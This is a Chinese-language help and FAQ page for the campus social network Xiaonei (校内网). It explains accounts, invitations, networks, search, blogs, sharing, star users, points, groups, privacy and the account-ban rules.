可能你的账号还没有激活，先激活你的账号吧，查收校内网寄给你的信，点信内的链接，就可以激活账号了；没收到激活信？
你的注册email或密码输入错误，比如不小心输错了大小写。
试过好多次，还是账号密码错误，试下取回密码吧
账号密码
忘记密码怎么办？
系统提示密码错误后，你可以点击“取回密码”，输入注册邮箱后，到该邮箱中去查收取回密码的信件。如果你试过后没有收到取回密码的信件，那么你可以从该邮箱中发信给reg@xiaonei.com申请取回密码。
如何修改注册邮箱？
点击页面左边“账号信息”，可以修改邮箱。注意，你修改了登录email以后，校内网会给你的新email发送一个验证链接，你需要用该链接验证这个新的email属于你，修改的email才会生效。
如何修改密码？
点击页面左边“账号信息”，可以修改密码。
邀请
如何邀请朋友加入校内网？
点击首页链接“邀请朋友加入校内网”。
通过msn邀请：输入你的msn帐号的信息，我们会帮你找到你有哪些msn朋友已经注册了校内，你还可以向没有注册校内的朋友发送邀请邮件。我们不会记录你的帐号密码或未经允许发送邮件。
通过链接邀请：点击“复制邀请链接”，然后把这个链接发给朋友，邀请他们注册，或者把这个链接复制到你的QQ或MSN的签名档中。
通过Email邀请：在收信人处填写朋友的 Email 地址，如果要一次多邀请几个，可以用逗号来分隔多个Email，然后点击“发送邀请”即可。
什么是校内介绍人？
你的同学接受邀请加入校内网后，你便成为他们的校内介绍人。作为他们的校内介绍人，你的信息会出现在他们的页面上，以方便他们找到你并融入校内网。
网络设置
在校内，默认同网络的人是可以互相浏览个人主页的，所以加入相应网络决定你在校内的浏览权限。
如何加入网络？
点击顶部导航“网络管理我的网络”，高中生升学后通过ip、email认证或者审核即可加入大学网络。大学生毕业参加工作，可以通过填写你的公司内部工作邮箱来加入公司网络。
如何离开网络？
点击顶部导航“网络管理我的网络”，在你所加入的网络名称右侧，点击“离开网络”即可退出该网络。退出后再想加入仍然需要验证。
什么是当前网络？如何设置？
当前网络表示你目前的真实状况，例如大学生的当前网络应为某大学，公司用户的当前网络应为某大学。当前网络将作为你最主要的网络出现在你的页面上，当你留言、发帖时，会出现你的名字后面。
点击顶部导航“网络管理我的网络”，在你所加入的网络右方，点击“设置为当前网络”即可。
搜索
搜索首页分3个Tab：同事/同学•群•高级搜索。对于不同身份的用户，所使用的搜索功能有所不同。
高中用户的搜索功能：
如何查找高中同学？
在基本搜索中输入你要查询的同学姓名，同时选择你要查询的高中名称，点击‘搜索’按钮: 如果忘记了同学的姓名，或者同学的高中名称，也可以通过只选择姓名或高中名称进行搜索: 在搜索结果页，对搜索结果再进行筛选:
如何查找初中/小学同学？
初中/小学搜索中系统默认了你的初中或小学名称，只需点击‘搜索’按钮，就能找到所有在校内网注册的初中同学: 如果你还记得初中同学的姓名，可以同时输入同学姓名进行搜索: 在搜索结果页中，对搜索结果再进行筛选:
高级搜索
在高级搜索中增加了性别、家乡、生日、星座的搜索属性,可以通过一次性输入条件对同学进行精确搜索。
大学用户的搜索功能：
如何查找大学同学？
在基本搜索中输入你要查询的同学姓名，同时选择你要查询的大学名称，点击‘搜索’按钮: 如果忘记了同学的姓名，或者同学的大学名称，也可以通过只选择姓名或大学名称进行搜索: 在搜索结果页，对搜索结果再进行筛选:
如何查找高中同学？
高中搜索中记录了你的高中名称，只需点击‘搜索’按钮，就能找到所有在校内网注册的高中同学: 如果你还记得高中同学的姓名，可以同时输入同学姓名进行搜索: 在搜索结果页中，对搜索结果进行筛选:
高级搜索
在高级搜索中增加了性别、家乡、生日、星座的搜索属性,可以通过一次性输入条件对同学进行精确搜索。
公司用户的搜索功能：
如何查找同事？
在基本搜索中输入你要查询的同事姓名，同时选择你要查询的公司名称，点击‘搜索’按钮: 对搜索结果进行筛选: 姓名为必填项，不支持单独选择公司名称的搜索。
如何查找大学同学？
大学搜索中默认了你的大学名称，只需点击‘搜索’按钮，就能找到所有在校内网注册的大学同学: 如果你还记得大学同学的姓名，可以同时输入同学姓名进行搜索: 在搜索结果页中，对搜索结果再进行筛选:
高级搜索
在高级搜索中增加了性别、家乡、生日、星座的搜索属性,可以通过一次性输入条件对同学进行精确搜索。
除了搜索页面的搜索功能，还有什么搜索方法？
针对不同信息，校内网提供了全面多样化的搜索功能。你可以通过点击个人主页上的资料信息，如公司、学校、院系、入学年份、宿舍楼、生日、星座、性别、家乡、高中、加入的社团、喜欢的音乐、喜欢的书、喜欢的电影、喜欢的游戏和兴趣爱好等搜索到同身份和你具有相同某种特质或爱好的同学或同事。 另外，你也可以通过校内网高级搜索来搜索具体某些具体信息的同学。
返回个人资料
修改个人资料？
点击页面左边的编辑就可以修改你的基本信息、联系方式、学校信息、个人信息和工作信息等。 基本信息填写真实，这样可以找到老乡、同月同日生。通过你的资料上的学校信息，你的小学、初中、高中和大学同学都可以更方便的找到你。 联系方式，根据个人想法写就好。目前，你的联系只会向你的好友公开。 个人信息是你展示个性的一个方面，如果你希望同你具有相同爱好的朋友可以方便的找到你，可以写的尽可能规范，用正确的分隔符分开每个关键词，书名号可以不写，游戏的版本号也可以不写，如果你不喜欢这些限制可以完全无视这些东西，随心所欲。
日志功能
如何在日志中添加好友？
当你编写或编辑一篇日志的时候，在该页面的右侧会有提示添加相关好友的输入框，只需点击该输入框进入选择好友的下拉菜单，就可以直接对好友进行勾选，确定加哪些跟这篇日志相关的好友。
如何查看添加过自己的日志？
想知道你哪些朋友的日志添加了你，只需要点击页面上方的与我有关的日志，就可以查看所有添加过你的日志。
如何查看添加过朋友的日志？
想知道你的朋友都被添加进了哪些日志，你只要直接进入该好友的日志页面，点击页面上方的‘与xx有关的日志’就可以看到了。
被添加进自己不喜欢的日志，该怎么办？
通过点击‘与我有关的日志’，可以观看到添加你的日志名称以及日志作者，如果你不喜欢被某些日志添加，可以点击该日志条目右侧的‘退出’按钮。退出之后，你的名字就不会在该日志上显示了。
如何使用日志中的导入日志功能？
点击“我的日志”页面右侧的“导入日志”链接，进入导入日志的具体页面；
在导入日志页面的输入框中提交你的站外博客的rss源，阅读并接受校内导入日志服务条款后，点击开始导入；
系统将读取到该站外博客的相关信息，你可以从中勾选导入哪些日志并对它们进行隐私设置。点击导入选中日志后，这些日志将根据你的设置出现在校内日志中。
系统如何自动更新你的导入日志？
系统根据你所提交的rss源，检测到该站外博客有更新时，我们会通过站内信通知你，并在该信件中附带链接。通过该链接到具体页面上勾选导入哪些日志并对其进行隐私设置。
如何更改已经系统提交的导入信息？
若你希望校内不在将该站外博客中的更新日志导入到你的校内日志中；或是想更换之前所提交的rss源导入你的其它站外博客。
在日志首页右侧，可以看见修改导入设置的入口。到导入日志页面修改当前设置。点击“停止导入”后，系统将不再读取你之前所提交的rss源的相关信息。
导入日志同直接在校内发表的日志相比，有哪些区别？
在校内日志中，我们也会将标示这些日志属于导入站外日志，并附上这些导入日志的原地址。这些导入日志将不能再次编辑，但导入人有权删除，其它用户可以分享、评论。
分享功能
我可以分享什么？
通过分享功能，你可以将校内日志、照片、相册、群帖子，活动，个人页面以及站外链接分享给你的好友。
如何分享站内信息？
点击分享按钮，你可以选择添加到你的分享列表或是通过站内信分享给指定好友
选择“分享给我的好友”，我们会将你所分享的内容以及评论通过站内信的方式发送给你指定的好友；或者你可以选择“添加到我的分享”，将该内容添加至你的分享列表中。
如何分享站外资源？
你可以将你感兴趣的资源网址，输入或者粘贴至分享页面右侧的输入框中，点击分享按钮进入分享设置页面，你可以添加评论并且选择分享范围。
怎样删除我的分享记录？
点击分享首页上方的“我的分享”链接，进入你的个人分享页，点击你想删除分享项右上角的“X”即可删除该条分享记录。
返回星级用户
如何成为星级用户？
要想获得星星需要的同时满足这三条：
本人的、真实的、近期的、能看清楚脸的照片作头像；(上传头像)
本人的、真实的中文姓名，可以加些修饰但一定要能看出哪个是名字来；
较为完善的个人资料。
星星是管理员手工处理，可能会有一天的延迟。若用户完善信息24小时后发现自己符合条件却仍然没有加星。可能是被管理员误判了，请点击首页提示的”立刻申请加星”，管理员24小时内会重新审核加星。如果你的首页没有”立刻申请加星”项，则说明你已经是星级用户。
注意：有些同学美化页面的时候，添加的代码可能会导致星星被隐藏。
具体评定标准
成为星级用户之后就一直是星级用户了吗？
不是。如果你换照片、改名字以及修改个人资料，管理员都会重新审核以决定你是否继续作星级用户。
星级用户拥有什么特权？
成为星级用户后，只要登陆，该用户的相册空间就可每天增加1M，一天中若没有登陆则不增加。
新用户注册会得到100积分，经过审核成为星级用户后增加100积分，若删除照片或修改资料导致被取消星级用户资格，则扣掉100积分。
只有星级用户才能更改自己的大学网络和高中网络。
星级用户可以建群、发布告、作群管理员，只有星级用户会在"随便看看"和“人气之星”中出现。注意，建群、发布告、群发站内邀请需要花积分。
人气之星（此功能只对大学用户开放）
什么是人气？
在校内网我们说的人气就是指自己页面被其他同学访问的次数。
如何提高人气？
关于如何提高人气嘛，在群里发很有水平的帖子、写出很吸引人的日志、认真对待每个好友和来访的客人都是不错的主意，还有就是一个漂亮而又与众不同的页面会让大家想再来看看。另外通过一些非正当手段提高人气将属于被人鄙视的行为，情节严重者还可能面临对人气清零甚至删号的危险。
如何成为人气之星？
成为人气之星必须满足：
星级用户；
人气值在本校或在校内网排名前100名；
经常上线。
如何查看本校人气之星？
在你首页下方会随机显示你所在大学的6个人气之星，如果你发现谁的照片是假的可以向系统管理员举报，得到证实后，明天那位同学将不再是人气之星。
关于积分
如何获得积分？
每天每人最多可以获得100，发帖5/帖、日志5/篇，留言评论1/条，不过每个数值会随当天的得分的逐渐接近100而逐渐减少，每天总分不能超过100。
积分怎么花？
建群50/个，布告20/天，邀请5/人，随机招呼1/次。其中建群和布告只有星级用户才能操作。邀请必须是星级用户管理员才可以发出，被邀请者接受的，原来花的5分还给邀请者，不受100分限制，不接受的将不予返还。
负分了怎么办？
负分除了那些需要积分的操作不能作外，没什么不良影响。
积分和星星有关系吗？
没有关系。
返回关于群
如何搜索群？
你可以通过页面左边我的群页面右上角搜索框进行搜索，也可以通过页面上方搜索中的群搜索来搜索。请注意，群的搜索是分大小写的。
如何建新群？
你可以通过页面左边我的群进入新建群里建立一个自己的群，并通过邀请或者其他形式的广告来吸引别人加入。当然如果你建了群之后才发现已经有了类似的群也没关系，如果那个群发展得很好你可以加入他们，把自己的群改个名字留作他用，如果发展的不好，那你就加油超过他们。
订阅该群和加入该群有什么区别？
所谓订阅是针对群而言的，就是不去群主页就能看到群里有没有新帖，有没有新回复，直接点“我的群”即可查看自己订阅的群的最新动态。新注册的用户默认订阅两个群：本校的群和新手上路群。 注意：订阅群和加入群不是一个概念，对于公开群，即使不加入只要订阅了也可以随时关注，对于加入的群如果不订阅的话必须进入群里才能看有没有新帖。订阅或取消订阅一个群在群主页的右上角可以看到对应的链接。
什么是优秀群？
在新手上路页面上有一些不错的群推荐给大家。所谓优秀的群，包含三个因素：优秀的管理团队，积极的群成员和良好的群氛围。其实推荐的这些群最关键的在于它们有了很难得的群众基础，因为一个人很少的群要壮大并非容易的事。而且这些群的首页里有不少友情链接，比如音乐天下里有xiaonei大部分音乐群和歌手群的链接。
如何成为一个群的管理员？
如果你对某个群的内容非常感兴趣，并认为自己可以有能力管理，可以在加入某个群之后，点击右上角的“申请管理员”，等待群主批准或拒绝，如果批准了，你将拥有这个群的管理员权限，包括：对帖子的操作（改主题、删主题、封主题、删回复、置顶及取消）、对成员的操作（踢人、封人、批准加入）、对群的操作（邀请成员、修改页面、增加分版等）。 管理员不仅意味着权利，也包含了责任，如果整天不管群里的事务，不维护秩序，不去邀请人，也不发有用贴，那将没有资格继续做管理员，不如腾出位子给更有热情的人。 另外每个群有一个特殊的管理员叫群主，一般是群的创始人，他可以解除其他管理员的职务，甚至可以删了整个群，所以需要更强的责任心，当群主因为毕业或其他原因无力管理群的事务时，可以将自己的位子让给其他管理员。
如何在群里上传文件？
发贴或回帖时，点击“上传图片或文件”，然后点“浏览”，在电脑上找到想要的文件，点“打开”，然后发表帖子即可。上传的限制是1M，除了把好玩儿的图片贴出来与大家分享外，还有就是储存自己必要的涂鸦板资源，包括图片、音乐、flash和鼠标等。一般的文件都不会超过1M，只有音乐文件可能超，通过软件压缩到32kbps或更低的wma格式即可。 最后提醒大家，大部分学校的群或一些大群都会有单独存放涂鸦板文件的帖子，新手上路群也有置顶贴供大家使用，所以请不要将文件随便跟到与之无关的某一贴里，这将是对发贴者和回帖者的不尊重，而且很有可能被管理员删除，所以为了您和他人的利益请按规定回帖。 现在已经开通了相册功能，如果是自己要用的照片，大家尽量贴到自己的相册，而不是群里，这样可以避免被管理员删掉。 上传的文件格式可以是：jpg、jpeg、png、bmp、gif、mpeg、avi、mpg、wav、m3u、wmv、asf、wm、asx、wma、mp3、swf、rm、rmvb、doc、xls、txt。
关于课程（此功能只对大学生用户开放）
如何给自己添加课程？
在页面左边我的课程里可以添加上过、在上和想上的课程，千万别小看这个，还是很有用的。如果你想上哪门课，可以查找上过这门课的同学，问他一些关于考试什么的问题，买二手课本也成。如果你在上某些课程，可以看看还有谁也在上，问问作业什么的，那天懒得上了还能看看有没有人帮着答个到签个名的。 如果本校课程列表中没有某门课程怎么办？ 如果你确定你们学校有开这门课，那么你可以自己添加课程。
关于活动（此功能只对大学生用户开放）
如何创建活动？
你可以通过页面左边我的活动来创建新活动。
什么样的活动会被推荐在首页？
活动一旦被推荐，会出现在本地区首页随机播放，能够大大提高活动的影响力。被推荐的活动至少要满足以下条件：
活动名称有信息量；
发布者为星级用户（防止发布假信息欺诈）；
有详细的活动计划和时间、地点等；
活动持续时间合理（如上自习一年内有效就会被视作不合理）；
其它酌情处理。
举报设置
如果发现了任何有违规行为的用户、照片或留言，都可以在相应页面上找到举报链接（举报用户的链接在用户页面的下方）。点击链接后页面跳转到填写具体信息的举报页面，需要根据不同情况说明举报原因及描述违规用户的行为。管理员会在第一时间处理您的举报信息，处罚违规用户。
封禁投诉
什么样的情况会被封禁？
任何违反《校内网账号管理办法》的用户会被管理员警告或者封禁某种权限。被封禁的同学不再另行通知，将在使用功能时看到提示（包括封禁的原因和执行封禁的管理员）。
什么样的情况会被封杀账号？
任何违反《校内网账号管理办法》的封禁都是酌情处理，严重的都可能封杀账号。但以下三种情况直接封杀账号，①用机器人攻击网站；②在本站内任何地方上传或散播病毒；③使用恶意代码盗取cookie或者进行xss攻击（如果你看不懂这个描述，证明你不会这么作，hoho）。
打招呼
什么是打招呼？
所谓打招呼就像见面说声Hi一样。打招呼分为随机打招呼和向某个指定的同学打招呼。随机打招呼的链接在“首页”上方，每次消耗一个积分。
加好友
如何加好友？
在他的页面点击“加为好友”，等待对方确认，同意后系统会自动以对方名义给你发一封提醒信。如果仅仅因为对方漂亮或很帅就要加好友，倒也无可厚非，不过无论如何加之前最好向人家说一声，这是对自己的负责也是对他人的尊重，如果你主动加了人家以后却不去理人家，总有一天会被人遗忘的。〔校内网不鼓励大家加太多好友，就象你在现实中不会有上千个好友一样，太多的好友会使你真正的好友的信息被淹没，太多的好友等于没有好友〕
点击“我的好友”可以查看当前在线的好友，适时地问候和祝福是增强友谊的最好方式；点击“好友的日志”则可以方便查看对方更新的日志；点击“好友的相册”可以看到好友最近更新上载的照片。在“我的页面”有按学校分的好友列表，可以按学校迅速找到好友。
如何加为特别好友？
进入“我的好友”，点击好友头像右边的“加为特别好友”后，他将成为你的特别好友并显示在你页面的左侧。通过这个功能你可以介绍这位特别好友给大家。
隐私设置
如何保护我的隐私？
目前系统默认的隐私设置是：用户的页面只能被和自己加入相同网络的人浏览，而联系方式是只对好友开放。点击右上角的“隐私”可以修改相关设置。
用户可以对相册和日志分别指定开放程度，需要注意的是，点击右上角“隐私”设置日志相册相关隐私，只是对你的个人主页上的日志和相册模块是否在你的页面上显示进行设置，而你的单篇日志个单个相册的隐私需要你到日志和照片的编辑页面去设置。
此外，你可以把别的用户加入黑名单，被加入黑名单的人不能对你作任何操作，也看不了你的页面。
黑名单
如果有人骚扰你，或者发信到你的留言板砸场子，可以考虑将他加入黑名单，进入他的页面在页面左下角点击“加入黑名单”即可；反之可以通过“帐户信息-隐私设置-黑名单管理”将其移出。
加为黑名单后，对方不能对你进行任何操作包括无法看你的页面、给你发信或留言等。
如果你们原来是好友的话，你需要先和对方解除好友关系才能找到“加入黑名单”的链接。解除好友关系的方法是：在你的好友列表或者在对方页面左下角点击“解除好友关系”链接。
被很多人加入黑名单有什么后果？
如果某个同学被很多人加入黑名单，管理员将会考虑删除这个同学的账号。
什么是随便看看？
随便看看就像你在学校，公司里随便走走一样，可以看到不同的同学，同事。在在随便看看里你可以看到与你在同一网络中的用户，还可以用下拉框选择查看你加入的其他网络的用户。（但他们必须是与你同身份）。